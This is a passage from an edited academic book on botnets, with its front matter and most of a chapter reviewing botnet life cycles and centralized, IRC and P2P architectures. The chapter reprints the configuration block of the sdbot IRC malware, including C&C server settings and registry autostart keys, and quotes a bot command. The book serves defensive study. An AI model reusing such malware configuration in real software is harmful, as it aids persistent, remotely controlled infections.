


Botnets





Botnets
Architectures, Countermeasures,

and Challenges

Edited by
Georgios Kambourakis
Marios Anagnostopoulos

Weizhi Meng
Peng Zhou



CRC Press
Taylor & Francis Group
6000 Broken Sound Parkway NW, Suite 300
Boca Raton, FL 33487-2742

© 2020 by Taylor & Francis Group, LLC

CRC Press is an imprint of Taylor & Francis Group, an Informa business

No claim to original U.S. Government works

Printed on acid-free paper

International Standard Book Number-13: 978-0-367-19154-2 (Hardback)

This book contains information obtained from authentic and highly regarded sources. Reasonable efforts
have been made to publish reliable data and information, but the author and publisher cannot assume
responsibility for the validity of all materials or the consequences of their use. The authors and publishers
have attempted to trace the copyright holders of all material reproduced in this publication and apologize
to copyright holders if permission to publish in this form has not been obtained. If any copyright material
has not been acknowledged please write and let us know so we may rectify in any future reprint.

Except as permitted under U.S. Copyright Law, no part of this book may be reprinted, reproduced,
transmitted, or utilized in any form by any electronic, mechanical, or other means, now known or hereafter
invented, including photocopying, microfilming, and recording, or in any information storage or retrieval
system, without written permission from the publishers.

For permission to photocopy or use material electronically from this work, please access www.copyright.
com (www.copyright.com/) or contact the Copyright Clearance Center, Inc. (CCC), 222 Rosewood Drive,
Danvers, MA 01923, 978-750-8400. CCC is a not-for-profit organization that provides licenses and
registration for a variety of users. For organizations that have been granted a photocopy license by the
CCC, a separate system of payment has been arranged.

Trademark Notice: Product or corporate names may be trademarks or registered trademarks, and are used
only for identification and explanation without intent to infringe.

Visit the Taylor & Francis Web site at
www.taylorandfrancis.com

and the CRC Press Web site at
www.crcpress.com

www.copyright.com
www.copyright.com
www.copyright.com
www.taylorandfrancis.com
www.crcpress.com


Contents

Preface .......................................................................................................... vii
About the Editors ...........................................................................................ix
Contributors...................................................................................................xi

1 Botnet Architectures: A State-of-the-Art Review.................................... 1
BASHEER AL-DUWAIR AND MOATH JARRAH

2 IoT Botnets: The Journey So Far and the Road Ahead........................ 33
PASCAL GEENENS

3 IoT Botnet Traits and Techniques: A View of the State of the Art .... 101
PASCAL GEENENS

4 Advanced Information Hiding Techniques for Modern Botnets ....... 165
LUCA CAVIGLIONE, WOJCIECH MAZURCZYK, AND STEFFEN
WENDZEL

5 Steganography Techniques for Command and Control
(C2) Channels.................................................................................... 189
JEDRZEJ BIENIASZ AND KRZYSZTOF SZCZYPIORSKI

6 Blockchain-Based Botnets for Command-and-Control Resilience .... 217
WEIZHI WANG AND XIAOBO MA

7 Detecting Botnets and Unknown Network Attacks in
Big Traffic Data ................................................................................. 237
LUIS SACRAMENTO, IBÉRIA MEDEIROS, JOÃO BOTA, AND MIGUEL
CORREIA

8 Domain Generation Algorithm Detection Techniques through
Network Analysis and Machine Learning .......................................... 269
FEDERICA BISIO, SALVATORE SAELI, AND DANILO MASSA

v



9 Identifying IoT-Based Botnets: A Microservice Architecture for
IoT Management and Security........................................................... 293
THARUN KAMMARA AND MELODY MOH

10 Understanding and Detecting Social Botnet.......................................327
YUEDE JI AND QIANG LI

11 Use of Botnets for Mining Cryptocurrencies ......................................359
RENITA MURIMI

12 Time to Diverge the Botnet Revenues from Criminal Wallet?............387
GIOVANNI BOTTAZZI, GIANLUIGI ME, PIERLUIGI PERRONE, AND
GIUSEPPE GIULIO RUTIGLIANO

Index............................................................................................................403

vi ■ Contents



Preface

Botnets pose a growing threat to the Internet, with their ever-increasing distributed
denial of service (DDoS) attacks of various kinds. In the Internet of Everything
(IoE) era, a botnet army can be assembled using a variety of enslaved machines,
including desktop computers, smartphones, wearables, and embedded devices.
These multitudinous armies are controlled remotely by a malicious third party,
known as the botmaster or botherder. Recent botnet examples, such as the case of
the Mirai botnet, prove that it is quite straightforward to discover and remotely
control thousands or millions unmonitored and poorly protected devices. The
mushrooming of cheap Internet of Things (IoT) devices deployed with the default
settings and poor protection gives rise to even greater concerns, which are mightier
in population. This paves the way for assembling powerful botnets.

To stay off the radar and increase the resilience of their botnet, botmasters
employ covert command and control (C2) channels for keeping in touch with the
bots and disseminate their instructions. Nowadays, they even hide their C2
servers inside the vast cloud-computing infrastructure and exploit robust anon-
ymity networks such as Tor and I2P. To do so, a botmaster takes advantage of a
variety of architectures, namely centralized, decentralized, and hybrid, rely on
network protocols, including HTTP, IRC, DNS, and P2P, and exploits techni-
ques like fast-fluxing and domain generation algorithm (DGA). On the other
hand, the efforts of the defenders are focusing on the timely detection and
hijacking of the C2 channel to isolate the bots from their controller.

Besides launching DDoS attacks, botnets are used for spam campaigns, sensitive
data harvesting, distribution of malware, cryptocurrency mining, defamation cam-
paigns, to name a few. In fact, a botnet is the perfect means to exercise economically
profitable low-risk criminal activities. Typically, the botmaster leases their infrastruc-
ture to potential customers for accomplishing their goals. So, even for a naive
attacker, it is easy to hire for a specific period the service of a botnet in order to
fulfil their nefarious desires, while the accumulative revenue for the botmaster are
huge. Perhaps the most popular service that actually sells access to DDoS botnets is
well-known as DDoS-for-hire or euphemistically “Stresser.” Of course, all these
botnet services are created by cybercrime-as-a-service producers. Even more, with
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the exploitation of the infected machines’ computer power for cryptocurrency
mining, the profit of the botmaster can be significantly increased, while the trace-
back of the revenues is rendered impossible.

This book comprises a number of state-of-the-art contributions from both
scientists and practitioners working in the detection of botnets, and prevention
and mitigation of their aftermath. It aspires to provide a relevant reference for
students, researchers, engineers, and professionals working in this particular area
or those interested in grasping its diverse facets and exploring the latest advances
on the botnets’ issue. More specifically, the book consists of 12 contributions
classified into 4 pivotal subareas:

Botnet architectures: Introducing the state-of-the-art botnet architectures, the
most prominent IoT-based botnet cases, and the latest traits and techniques for
IoT-based botnets.

C2 channels: Offering the latest variants of advanced and sophisticated C2
channels based on information hiding techniques, steganography, and blockchain
technology.

Detection and mitigation of botnets: Dealing with the detection of commu-
nication of botnets in big data, the analysis of network traces for the detection of
algorithmically generated domains utilized for the coordination of botnets, the
identification of IoT-based botnets via microservice architectures, and the detec-
tion of social botnets.

Financial revenue from botnets: Exploring the exploitation of botnets for
mining cryptocurrencies, and the utilization of botnets as a profitable tool for
criminals.
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Chapter 1

Botnet Architectures

A State-of-the-Art Review

Basheer Al-Duwairi and Moath Jarrah
Faculty of Computer & Information Technology, Jordan University of Science &
Technology, Jordan
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1.1 Introduction
In recent years, cybercrimes that are associated with botnets have been considered
a major threat to the Internet and technology. A botnet consists of a number of
infected hosts and receive commands from a botmaster [1]. The botnet is
basically formed by installing bots on vulnerable computers. Bots are software
programs that perform actions upon receiving commands from users or programs.
Bots usually stay in a passive state until they receive commands from the
botmaster (a hacker). Bots are designed to establish and utilize available commu-
nication channels that enable them of receiving commands, executing commands,
and periodically reporting data back to the botmaster. Reports include their status
and statistical information. Furthermore, bots are usually programmed to keep up
to date with the latest bot version. The botmaster maintains control over the
botnet through the command and control (C&C) communication channel that
represents the core of the botnet.

Generally, bots try to exploit software vulnerabilities that allow malicious
programs to infect computing systems. Examples of software vulnerabilities are
buffer overflow, backdoor installations, software bugs, and unsecured memory
management mechanisms. Releasing bot codes to the public results in spreading
of many variants of the bot within a short time [2–5]. Making the bot’s source
code available makes it easier for hackers to extend it and develop more
sophisticated codes to serve their objectives. For example, Agobot is structured
in a modular design, which makes it attractive for botnet’s developers. According
to [2], there exist different types of bots and different variants of each type in
today’s digital computing world. Hackers are always interested in discovering new
software vulnerabilities and in improving their bots to higher level of sophistica-
tion. Hence, it is expected that more bots will evolve and pose serious threats.
This urges companies and researchers to develop efficient countermeasure meth-
ods to stop the cybercrimes that are posed by botnets. Botnets represent a major
contributor to malicious traffic in today’s Internet [1].

Moreover, the botnet attack landscape has increased tremendously in recent
years because of new highly sophisticated versions of botnets. The development of
botnet architectures and types are driven by hackers’ interest, the expansion of the
Internet, and the Internet technology development. Organized hacking groups,
organizations, and cyber criminals are increasingly threatening businesses, where
about one-third of the world companies have experienced the threat of cyber-
crimes [6]. Botnets are being used extensively for malware distribution to target
banking sectors [7]. Botnets provide hackers with a platform for personal profit
and financial gain through extortion, ransom-ware, and cryptocurrency. Cyber-
attacks are also targeting critical Internet infrastructure and cyber-physical
systems, including smart grids, nuclear plants, and transportation systems. In
addition, botnets are expected to take a role in future cyber wars. With the
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tremendous expansion of the Internet, botnets are no longer limited to infect
only PCs and laptops. Several types of botnets have appeared in recent years such
as smartphone, Internet of Things (IoT), and social botnets. The enormous
growth of botnets enabled hackers to use them for different forms of malicious
activity including distributed denial-of-service (DDoS) attacks, email spam, click-
fraud, and identity theft. In this context, botnets can be viewed as an attack
infrastructure that is used to launch several types of cybercrimes. This chapter is
focused on the emerging and predominant threat of botnets. In Section 1.2, we
provide a detailed description of botnets and we discuss their main characteristics.
Section 1.3 discusses centralized botnets. Section 1.4 explains peer-to-peer (P2P)
botnets. Section 1.5 presents mobile botnets. Section 1.6 provides a description
on IoT-based botnets. Social botnets are presented in Section 1.7. Finally, the
conclusion is presented in Section 1.8.

1.2 Botnets Main Characteristics
A botnet can be viewed as an attack infrastructure that consists of compromised
hosts that are connected together to form a network using a variety of application
layer protocols, such as IRC, HTTP, email, and P2P protocols. In this section,
we discuss botnet life cycle, explain their malicious usage, discuss their main
characteristics, and illustrate different approaches that are used to obtain insight-
ful information about botnets.

1.2.1 Overview

A botnet’s life time consists of three main stages as follows.
Stage 1—recruitment stage: The botnet formation starts by recruiting as many

vulnerable machines as possible to become part of a botnet. This is done through
infecting machines with the bot code using different mechanisms. One of the
mechanisms adopts traditional worm propagation techniques to spread botnet
malware [8,9]. This approach does not require any user intervention. An infected
machine has the ability to search for other vulnerable machines on the Internet
through active scanning for holes of known vulnerabilities. There are several
mechanisms to recruit vulnerable machines in a passive manner where user
interventions are required. Social engineering is a powerful mechanism that is
used by botmasters to convince end users to download bot binaries [10,11]. This
is usually achieved by sending out massive phishing campaigns through email and
social networks (e.g., Twitter, Facebook), where a user is tricked to click on
a malicious link that results in downloading of a bot binary [12,13]. In other
cases, the malware may spread as an email attachment or by tricking the user to
visit websites that have active content such as JavaScripts or ActiveX controls.

Botnet Architectures ■ 3



When a user visits a website that contains malicious active contents, the malware
is installed automatically. It is also possible to spread botnets’ binaries through
physical media (e.g., USB flash drive), where the malware is usually in the form
of an executable and starts running as soon as the user double click on it. Physical
media infection aims to compromise machines with private IP address that are
unreachable directly from the Internet (e.g., behind a NAT box).

Stage 2—C&C stage: The botmaster maintains a control over the infected
machines (bots) through a C&C channel. The architecture of the botnet depends
on the implementation of the C&C channel. In centralized botnets, the botmaster
controls its botnet through a central server known as the C&C server. In P2P
botnets, there is no central server between the botmaster and botnet machines.
Hence, the botmaster communicates directly with a small subset of botnet machines.
These machines in the subset serve as mailboxes between the botmaster and other
botnet machines. The machines are located using the inherent features of the P2P
protocol that is used to implement the botnet. More details of centralized and P2P
botnets are provided in Section 1.3 and Section 1.4. The communication style
between the botmaster and the bots can be a Push or a Pull style. In the Push style,
commands are sent directly to the bots. In the Pull style, bots (infected machines)
keep checking for new commands periodically [14]. The two communication styles
are illustrated in Figure 1.1.

Stage 3—botnet activity stage: The botnet activity represents the set of actions and
attacks (e.g., DDoS, scanning, etc.) that are performed by bots in response to
commands that are issued by the botmaster [15–17]. A compromised host’s
bandwidth is an important information that indicates the host’s capability in
launching attacks, especially DDoS. Hence, bots estimates the host’s bandwidth by
sending data to many servers. Figure 1.2 shows an example of an IRC-based botnet

Commands

Botmaster

Botnet

Any command?

Botmaster

Botnet

(a) Push Style (b) Pull Style

Figure 1.1 Botnet communication styles: (a) Push style (b) Pull style.
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activity in response to a set of commands that were issued by the botmaster. The
figure shows the interaction between a botmaster (nickname seed) and one of the
bots (nickname vofm) in an IRC chat channel (#nes554). This is a typical example of
a push style communication where the botmaster issues certain commands that are
sent to the bot directly. For example, the command

.open notepad

instructs the bot to run notepad.exe. Running notepad application is just an
example that shows the capabilities of this botnet. Botmasters instruct bots to run
malware binaries after downloading them from a given server. Other example
involves instructing the bot to perform a DNS query for a given host name and
return the result to the botmaster.

Understanding botnets and their operational aspects require us to investigate
different bots to reveal their malicious intents [2]. For example, P. Barford et al.
studied the source codebases for the four major botnets Agobot, SDBot, SpyBot, and
GT Bot [18]. Analyzing bots’ source code or running a botnet malware instance in
a sandbox are efficient methods to identify botnet features and capabilities including
the C&C mechanisms. In general, botnets are considered as major sources of
different types of attacks and malicious activities in the Internet. This includes the
following:

Figure 1.2 Example of an IRC-based botnet activity.
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■ DDoS attacks: Botnets are used to launch several forms/types of DDoS attacks,
such as application layer attacks (e.g., HTTP-based attacks), SYN flooding, and
DNS amplification attacks. Bots are instructed to overwhelm the target system
with a high volume of traffic rate (e.g., HTTP requests, SYN packets, and DNS
requests).

■ Email spam campaigns: This belongs to sending a large amount of spam
emails, which results in a traffic that decreases the signal-to-noise measure
[19]. Email spammers usually use botnets for massive email spam campaigns
to advertise pharmaceutical products, adult content, and malware distribu-
tion. An email spam template is distributed along with an email recipients’
list to the workers (bots). The bots are then instructed to send spam with
the contents that are specified in advance by the spammer.

■ Identity theft: Botmasters have the ability to collect sensitive information
(such as email accounts, banking accounts, and credit card numbers) from
the bot machines.

■ Cryptocurrency: The computing power of the machines that belong to a
botnet can be utilized by botmasters to perform cryptocurrency mining to
obtain bitcoins in an illegal way.

■ Click-Fraud: Whereby a botmaster generates bogus clicks for online adver-
tisements (usually utilizing the field of the HTTP request header) that
mimic legitimate request patterns, which results in large sums of money to
be paid by the advertisers [20]. Online advertisement is becoming very
popular where the pricing model for this type of advertisement is usually
based on pay-per-click approach, meaning that the revenue for the adver-
tisement platform (e.g., Facebook, Google) depends on the number of clicks
that are made through the advertisement platform. Unfortunately, several
hackers exploit this model and use botnets to perform fraudulent clicks.

Based on the above discussion, botnets have two main planes of operation, which
are: (i) the C&C plane where bots are continuously waiting for commands from
the botmaster, and (ii) the activity plane, which involves the execution of the
received commands to launch different attacks such as DDoS, cryptocurrency,
spam campaigns, and clicks fraud. The C&C topology determines the method of
commands’ delivery. In centralized botnets, the botmaster communicates with the
bots through a central server, while in P2P botnets, the botmaster communicates
with the bots through a subset of bots (mailboxes).

1.2.2 Characterizing Botnets

There have been considerable research efforts to characterize botnets and understand
their operations (e.g. [1,15,18,21–23],). These studies focused on estimating botnet
sizes, geographical distributions, and their spatial and temporal characteristics. Such
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characterization was accomplished through conducting post-term analysis of traffic
traces and packet logs to gain an insight on the nature of this threat. Also, the
community is interested in finding botnets formation techniques. Based on these
research studies, the main characteristics of botnets are described further.

1.2.2.1 The Botnet Size

The size of a botnet represents an important factor of the intensity and the
widespread of cyberattacks. The importance of this metric and its role in measuring
the botnet effectiveness have been discussed in [24]. While large botnets are viewed to
be a serious threat to the Internet services, small botnets are also a threat especially for
attacks that do not require a large amount of traffic such as ransomware and identity
theft. Small botnets can be easily managed, rented, and stay undetected. Determining
the actual botnet’s size is an important issue because it leads to a better understanding
of the threat. In this context, a botnet size has been a point of debate because it is
unclear what the term “botnet size” exactly means.

The ambiguity in specifying a botnet size is due to several issues that complicate
the task of computing the number of compromised machines in a botnet. The join-
leave actions of bots result from (i) turning infected machines ON and OFF by their
users, (ii) temporary bot migration, in which botmasters ask bots to leave one botnet
and join a different botnet, and (iii) cloning, where bots make replicas of themselves
and connect to different channels or servers [1]. Most researchers agree that a clear
definition for a botnet size must be used. Here we adopt the definition that is used in
[24] which states: Botnet size is defined as the largest connected portion of the botnet
[24,25]. This does not represent the count of all infected machines within a botnet. It
mainly represents the count of online bots (the machines that are currently active).

There are several techniques to determine the size of a botnet. These mainly
depend on the botnet architecture and the ability to infiltrate or takeover the botnet.
The following are the techniques that are typically used to estimate a botnet size [25]:

■ Botnet infiltration: The main idea of this technique is to join the C&C
channel of a botnet (e.g., to connect to the IRC server of a botnet), then to
record the number of bots that are connected to the channel simulta-
neously. This can be achieved by implementing an IRC tracker (similar to
the one presented in [1]) that mimics the operation of an actual bot.

■ DNS redirection: This method redirects connections that are made to the
botnets’ C&C server to another server (e.g., a sinkhole) through manipulat-
ing the DNS entry that is associated with the server [26]. By completing the
three way TCP handshake procedure with connected bots, the sinkhole can
identify these bots and record their IP addresses. This technique has the
limitation of counting bots that attempt to connect to the C&C server
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during the measurement period. Also, in cases where the botmaster uses
multiple channels on the same C&C server, it is not possible to identify
bots that belong to a certain channel. Finally, Zou et al. [27] explain that
botmasters can easily detect this technique and redirect the bots to connect
to a different IRC server.

■ DNS cache snooping: This method collects information from thousands of
Domain Name Systems (DNS). It searches the DNS servers’ caches for
entries of a botnet’s C&C server. M. Aburajab et al. have used this method
successfully and were able to estimate botnet sizes [1]. In most cases, bots
need to resolve the IP address of the C&C server by querying the DNS
server. Therefore, the size of the botnet can be computed by probing a large
collection of DNS servers and the cache hits are reported. The list of
available DNS servers can be obtained by performing a fast Internet wide
scanning (e.g., using Zmap [28]). A cache hit on a DNS server indicates
that there is at least one bot who sent a query request to the server before
the expiration time of the corresponding botnet entry. The number of cache
hits serves as a lower bound that represents the number of the bots.

■ Crawling P2P botnets: Botnet size estimation in P2P botnets is done mainly
by crawling the botnet recursively. Starting with one bot, a request is issued
to get its peer-list. A request is then issued for each IP address in the peer
list. This process continues in a recursive manner until no additional IP
addresses are observed. The crawling speed is important as the structure of
P2P botnet graph changes frequently. Bots join and leave in unpredictable
way. This phenomena occurs during the time of sending and analyzing peer
list requests. Hence, crawling must be done very quickly to get an accurate
snapshot of the current P2P graph.

1.2.2.2 Geographical Distribution of Botnets

Although bots can be found anywhere in the Internet, research studies show that they
are concentrated in particular regions in the world [26]. There are several factors that
affect the geographical distribution of botnets. One of these important factors is the
underlying bot infection propagation mechanism that involves a region or
a language. Some botnets attack applications of a specific language or perform social
engineering activities of a specific regional’s language [26].

The distribution of bots in the Internet represents an important issue because
it can assist in developing efficient countermeasures [22,23,29]. This distribution
is mainly influenced by the distribution of vulnerable machines in the Internet. It
is believed that vulnerable machines tend to cluster in certain networks, which
suggest that bots will cluster in these networks as well, regardless of the method
that is followed by botmasters in constructing botnets. This is based on the

8 ■ Botnet



observation that the population of vulnerable machines in a given organizational
network depends directly on the nature of network security policies that are
enforced by the organization, and on the level of awareness of users regarding
hardening and protecting their own machines. For example, an organization that
enforces strict security policy deploys the latest technology to prevent security
breaches, and provides its employees with the state-of-the-art virus scanners, is
expected to have very small number of vulnerable machines.

M. P. Collins et al. explain that botnets have the following two character-
istics [22]:

■ Spatial uncleanliness: When there is a compromised host in a network, there
is a high chance of finding other hosts that are compromised and perform
hostile activities within the same network. This clustering of hostile activ-
ities within a network results in having an unclean network.

■ Temporal uncleanliness: If there is a compromised host in a network, then this
host or other hosts within the network are likely to be compromised in the
future. Hence, the hosts in the network will undergo hostile activities over time.

The test for spatial uncleanliness was conducted through the examination of IP
addresses clustering within different networks. It has been found that compromised
hosts within equally sized networks are more likely to appear than hosts and addresses
that were chosen at random from the Internet population. On the other hand, the test
for temporal uncleanliness was conducted through the examination of unclean net-
works. Networks that contain compromised hosts are found to be able to predict future
hostile activities with a higher accuracy than networks that were chosen at random.

1.2.2.3 Spatial-Temporal Correlation and Similarity

In addition to the spatial uncleanliness and temporal uncleanliness described above,
botnets are generally characterized by spatial-temporal correlation that follows
directly from their inherent features. During a certain time interval, bots within an
organizational network perform similar operations in response to commands that are
issued by the botmaster. Typically, these bots maintain long lived connections with
the C&C server and remain standby for commands. Two types of responses were
observed when bots receive commands from the botmaster:

■ Message response: There are certain commands that are used by the botmaster to
obtain information about the bot machine. This information includes the
operating system version, CPU architecture, bandwidth, and the bot ID. Bots
typically respond with short messages that contain the requested information.
Figure 1.3a shows an example of message responses of three bots within an
organizational network.
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■ Activity response: Some other commands that are issued by the botmaster are
associated with specific activities such as scanning, denial of service attacks,
and email spam. Therefore, each bot generates a large amount of traffic of
certain type during the same time interval. Figure 1.3b shows an example of
activity responses of three bots within an organizational network in response
to different commands that are sent by the botmaster.

1.3 Centralized Botnets
Most of the botnets (e.g., sdbot, agobot, GTbot) that appeared in the beginning of
botnets era have adopted a centralized architecture. In this architecture, the botmaster
maintains a central server that communicates with the bots. The bots wait for
commands from the central server. In addition, newly compromised hosts (bots)
connect to the server and report their information. The server oversees the status of
the bots and sends commands to be executed. This basic structure is shown in
Figure 1.4.

In centralized botnets, the C&C channel can be implemented using different
protocols such as IRC (Internet Relay Chat), HTTP (Hyper Text Transfer Protocol),
and Email. Recently, an advanced technique that is based on the Session Description
Protocol (SDP) was proposed in [30] for the implementation of botnet’s C&C
channel. The technique uses the SDP to construct a covert communication channel,
which results in a stealthy and an effective method for controlling a botnet. The
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Figure 1.3 Spatial-temporal correlation and similarity. Figure is adopted from [14].
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growing interest in SDP as part of the session initiation protocol (SIP) in VoIP
networks requires the research community to develop efficient detection and mitiga-
tion mechanisms as described in [31].

1.3.1 Case Study: IRC-based Botnets

IRC-based botnets represent one of the most popular types of centralized botnets
that have appeared in the early stages of the botnets threat. There are several
families of IRC-based botnets such as SDbot and Agobot. The release of the bot
code to the public has allowed new variants of each family to appear within a short
period of time. These botnets share similar characteristics and were used for
different types of attacks. IRC-based botnets utilize the communication capability
of the IRC protocol, which allows point-to-point and point-to-multi-point com-
munications. The protocol is scalable in the sense that it enables a large number of
hosts to transfer data. The availability, flexibility, and modularity of the IRC
protocol allow users to make modifications and use it in their applications.
Hence, developers of botnets tend to use the IRC protocol to shorten their botnet
development time while providing efficient communication protocol. As shown in
Figure 1.5, the IRC-based botnet life cycle follows five steps, which are [1]:

1. Scanning for vulnerable hosts: Usually, the bot code is designed to automatically
search for vulnerable hosts. This makes it similar to Internet worms, which
means that worm scanning strategies can be adopted in the process of a botnet
formation.

Botmaster
C&C server

Botnet

Figure 1.4 Centralized botnet.
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2. Installing the bot code: The compromised machine downloads a binary image of
the bot code from an old botnet member (a machine that has joined the botnet
earlier) or from a malware server. A malware server is a dedicated machine that is
configured by the botmaster in advance for this purpose. Afterward, the down-
loaded binary code (bot) gets installed on the machine. Every time the machine is
rebooted, the bot starts executing automatically. With the new sophisticated
methods of malware distribution techniques, it is not necessary to strictly follow
steps 1 and 2 in order to find and infect vulnerable machines. There are several
methods that result in a host being infected by a bot malware. For example,
Gaobot and its variants infect hosts through the use of Instant Messengers, file
sharing, and different software vulnerabilities. In addition, some methods
persuade victims to click on a link or a file that result in the execution of
a malicious code (e.g., clicking an email attachment).

3. Resolving the DNS name of the IRC server: Today’s botnet developers rely on
domain names instead of IP addresses. Hence, a bot contacts DNS servers
to resolve the domain name and get the IP address of the IRC server. The
domain names are hard-coded in the bot’s binary.

4. Joining the IRC server: After a bot resolves the IP address of the IRC server, it
establishes a session and join the C&C channel of the server. This channel is
also defined in the bot’s binary code. This process requires three types of
authentication: (i) The bot has to authenticate itself to the C&C server using
a password or an encryption key that is already included in the bot’s binary.
This method prevents botnet’s infiltration by other systems or bots. (ii) The bot
has to authenticate itself to the chat channel of the IRC server. This prevents
other users or bots from joining the channel. Users and security researchers try
to join C&C channels to find the active members and commands that are
issued. (iii) The botmaster has to authenticate itself to the bot’s population using
a password or an encryption key that is stored in the bot’s binary in order to
prevent other botmasters or researchers from controlling the botnet.

5. Receiving commands from the botmaster: Bots receive commands on the IRC
channel (the channel’s topic). The channel’s topic specifies the commands
that are to be executed by the bots.

In terms of the botnet lifetime that was described in Section 1.2, steps 1
and 2 represent the recruitment stage, steps 3 and 4 represent the C&C
establishment stage, and step 5 represents the activity stage. To illustrate the
operation of IRC-based botnets, consider the configuration of the bot
sdbotv5b, which is shown below. Bots are configured to match the settings
of the IRC server that has been designed in advance as a C&C server. This
includes passwords that are used for authentication, the server name, the port
number, the chat channel name, and other parameters as indicated in the bot
configuration below.
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// bot configuration

const char botid[] = “bot1”; // bot id
const char password[] = “password”; // bot password
const int maxlogins = 4; // maximum number of simultaneous logins
const char server[] = “ircserver”; // server
const int port = 7777; // server port
const char serverpass[] = “”; // server password
const char channel[] = “#nes554”; // channel that the bot should

join
const char chanpass[] = “”; // channel password
const char server2[] = “”; // backup server (optional)
const int port2 = 6667;//backup server port
const char channel2[] = “”; // backup channel (optional)
const char chanpass2[] = “”; // backup channel password (optional)
const BOOL topiccmd = FALSE; // set to TRUE to enable topic commands
const BOOL rndfilename = FALSE;//use random file name
const char filename[] = “nes554SDbot.exe”; // destination file name
const BOOL regrun = TRUE; // use the Run registry key for autostart
const BOOL regrunservices = TRUE; // use the RunServices

registry key for autostart
const char valuename[] = “Configuration Loader”; // value name

for autostart

Figure 1.5 IRC-based botnet life cycle. Figure is adopted from [1].
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const char prefix = ’.’; // command prefix (one character max.)
const char version[] = “sdbot v0.5b by [sd]”; // bot’s VERSION reply
const int cryptkey = 0;//encryption key (not used right now)
const int maxaliases = 16; // maximum number of aliases.

Once the bot joins the C&C channel, it becomes ready to receive and execute
commands. For example, the botmaster may instruct the bot to perform SYN flood
attack against a certain target, or to download a certain malicious file from the Internet.
For better management, botmasters usually adopt a hierarchical structure rather than
the basic centralized structure. In a hierarchical topology, the botmaster controls a set of
machines that are called bot controllers. Each of the bot controllers manages a set of
bots. Using multiple botnet controllers make the C&C channel more resilient.
Centralized botnets (both basic and hierarchical) are easier to be created and managed.
Moreover, they respond to commands faster than the P2P structure. However,
botmasters lose the control over the C&C channel once it gets shutdown by detection
and isolation methods. In addition, if the C&C server is hijacked, the botnet structure
and behavior are discovered. Hence, some active monitoring techniques are employed
to discover malicious traffic and activities of public IRC servers [1,21,32].

1.4 P2P Botnets
The design of centralized botnets has a major drawback of having a single point
of failure. Therefore, some attackers used a P2P technology for C&C, where each
bot communicates with a subset of other bots in the network [33–35]. The
improvement of P2P technology and the widespread of P2P file sharing have
attracted botmasters to adopt this technology in constructing a new generation of
botnets with inherited features of robustness, scalability, and resilience. Table 1.1
lists some of the most popular P2P botnets that appeared in the wild and
remained active for a long period of time.

P2P botnets are more complex when compared to the traditional centralized
botnets. In this architecture, bots reside on compromised machines within the
botnet network and communicate with each other rather than through a C&C
server. Hence, the bots in the network send commands to each other. Each bot
keeps a list of its neighbors. When receiving a command from one of its
neighbors, the bot sends that command to the other neighbors in the list. This
scenario results in a network that is called a zombie network. Once a botmaster
gets an access to one host in the zombie network, the botmaster obtains a full
control of the botnet network. Each host in the P2P network acts as both a client
and a server, since there is no centralized point in this architecture.

P2P communication provides the attackers with higher capabilities than the
centralized C&C architecture. In P2P botnets, if defenders are able to discover
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a subset of the bots and isolate them, the communication among the rest of the
bots is not disrupted. From a botmaster’s perspective, it is more difficult to
create and manage P2P botnets. Moreover, it takes more time to propagate
C&C messages to all botnet members. Hence, botmasters prefer to use simple
designs when developing P2P C&C channels. For example, Phatbot stores the
list of bots in Gnutella cache servers. This makes it possible to discover the
botnets by probing the cache servers. On the other hand, Sinit uses random
probing in order to find the bot members. In P2P botnets, if the IP address of
a bot is changed (dynamic IP addresses), then the bot leaves the botnet
network [32].

Typically, P2P C&C channel is implemented using existing P2P file sharing
applications, such as Gnutella, Kazaa, and eMule, or can be implemented using
proprietary protocols. The basic structure of P2P botnet is shown in Figure 1.6.

Table 1.1 Popular P2P botnets

Botnet Year C&C Main activity

Nagache January 2006 Based on custom
protocol

Theft of financial credentials
via keystroke logging

Storm [37] January 2007 Based on Overnet,
a Kademlia
implementation

Email spam and DDoS
attacks via keystroke logging

Sality [38] January 2008 Unstructured P2P
network

Stealthy scanning targeting
critical
Voice communications
infrastructure

Waledac [39] December 2008 HTTP
communication and
a fast-flux based
DNS network

Email spam

ZeroAccess v1 July 2009 Unstructured P2P
architecture

Bitcoin mining and click
fraud

ZeroAccess v2 February 2012 Unstructured P2P
architecture

Bitcoin mining and click
fraud

Kelihos v1 [40] December 2010 Unstructured P2P
botnet

Email spam and ID theft

Miner [41] August 2011 Unstructured P2P
botnet

Bitcoin mining

Zeus [42] September 2011 Unstructured P2P
botnet

Steal credentials (particularly
for financial institutions)
from infected systems
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P2P botnets can be represented as a graph with bots being the vertices and the
links between bots are the edges. For example, in Zeus, each bot in the graph has
a peer-list [36]. Each bot knows a subset of bots and maintains connections to
them. A peer-list request is issued by a bot when it starts to loose connections
from its original list. A bot that receives a peer-list request shares its peer-list with
the bot requesting this information allowing that bot to expand its own peer-list.
However, in most P2P botnets, the architecture is not entirely P2P as it includes
a central server for bootstrapping and getting initial peer-lists such as in Zeus
[36]. In the following subsection, we present ZeroAccess botnet as a case study of
P2P botnets.

1.4.1 Case Study: ZeroAccess P2P Botnet

ZeroAccess (ZA) is a popular and complex P2P botnet. Two versions of the ZA
malware appeared in September 2011 (ZAv1) and April 2012 (ZAv2). The two
versions have infected millions of machines at that time [43]. ZA botnet malware
is considered to be a remarkable botnet because of many features in its design and
operation. This includes its ability to infect both Windows 32-bit and 64-bit
machines, being able to hide itself and stay on the infected system, the P2P C&C
channel structure where nodes are labeled as “supernodes” or as “regular nodes,”
and the use of encryption and obfuscation to hide its communication patterns.
ZA malware rootkit evolved over time with new functionalities and features that
were introduced subsequently. In the following, we discuss the main steps of ZA

Botnet

Botmaster

Figure 1.6 Basic architecture of P2P botnets.
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life cycle focusing on the techniques that were used for infection, installation, and
C&C of the ZA malware.

1. Malware distribution: Two standard mechanisms were used to distribute ZA
malware trojan. The first mechanism is Exploit Packs that comes as
a collection of JavaScripts that take advantage of known vulnerabilities in
applications such as flash players, web browsers, and PDF readers. The
infection occurs by compromising several legitimate websites using attack
methods such as SQL injection attack and stolen FTP credentials. There-
fore, attackers insert a malicious JavaScript code into pages of these websites
in order to redirect websites’ visitors to the mothership servers that host the
original Exploit Pack. Attackers trick users to visit these websites using
different techniques such as email spam campaigns. Email spam campaigns
contain links to these websites with some attractive contents that increase
the chances of clicking the links. Attackers also use search engine manipula-
tion methods to make the compromised websites appear at the top of the
search engine results page. The second mechanism that was used to spread
ZA malware trojan is through social engineering. This technique aims to
attract users to download and run a malicious executable. For example, end
users are usually attracted to download popular games, a pirated version of
a game, or any other attractive piece of software that is made available on
websites under the control of the attacker.

2. Malware installation: ZA used ZwQuery Information Process API to determine
